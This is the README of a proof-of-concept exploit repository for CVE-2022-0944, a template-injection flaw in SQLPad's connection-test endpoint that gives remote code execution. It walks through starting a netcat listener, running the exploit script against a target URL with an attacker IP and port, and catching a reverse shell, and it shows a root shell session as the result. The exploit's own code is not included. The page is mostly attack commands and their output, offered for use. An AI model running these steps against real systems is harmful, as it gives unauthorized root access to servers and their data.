CVE-2022-0944 PoC — Template injection in connection test endpoint leads to RCE in sqlpad/sqlpad

Description

PoC for RCE in SQLPad (CVE-2022-0944)

Readme

# CVE-2022-0944 PoC
PoC for RCE in SQLPad.

# usage

1. Start a listener

```
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ nc -lvkp 7070
listening on [any] 7070 ...
```

2.  Run exploit

```
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ python poc-cve-2022-0944.py -u http://sqlpad.example.com/api/test-connection -a 10.10.11.208 -p 7070
[*] Running exploit against target: http://sqlpad.example.com/api/test-connection
[*] Assembling JSON with payload
[*] Submitting request...
[!] Exploit appears to have been successful.
[*] Done.

┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$
```

3. Check for a shell

```
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ nc -lvkp 7070
listening on [any] 7070 ...
connect to [10.10.11.208] from example.com [10.10.11.25] 45502
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# id
id
uid=0(root) gid=0(root) groups=0(root)
root@c184118df0a6:/var/lib/sqlpad#
```

File Snapshot

Remarks